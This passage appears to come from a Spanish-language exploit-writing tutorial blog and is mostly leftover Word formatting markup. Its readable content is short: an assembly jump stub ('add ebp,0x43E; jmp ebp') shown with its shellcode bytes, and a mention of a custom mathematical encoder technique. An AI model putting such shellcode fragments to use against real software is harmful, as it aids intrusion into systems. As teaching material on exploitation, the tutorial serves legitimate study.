<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]--><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">#add
ebp,0x43E</span></div>
<div class="MsoNormal">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Esto en ensamblador queda \x81\xc5\x3e\x04\x00\x00\xff\xe5</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></span></div>
<div class="MsoNormal">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</span></div>
<div class="MsoNormal">
Ahora vamos a hacer lo mismo pero vamos a usar la técnica del encoder propio con las
operaciones matemáticas visto en este exploit</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-C1l2HkXgw0s/UW6mMy5ruvI/AAAAAAAAAfM/Oefcnfqlcxo/s1600/pvefindaddr.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://2.bp.blogspot.com/-C1l2HkXgw0s/UW6mMy5ruvI/AAAAAAAAAfM/Oefcnfqlcxo/s640/pvefindaddr.png" width="586" /></a></div>
<br />
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
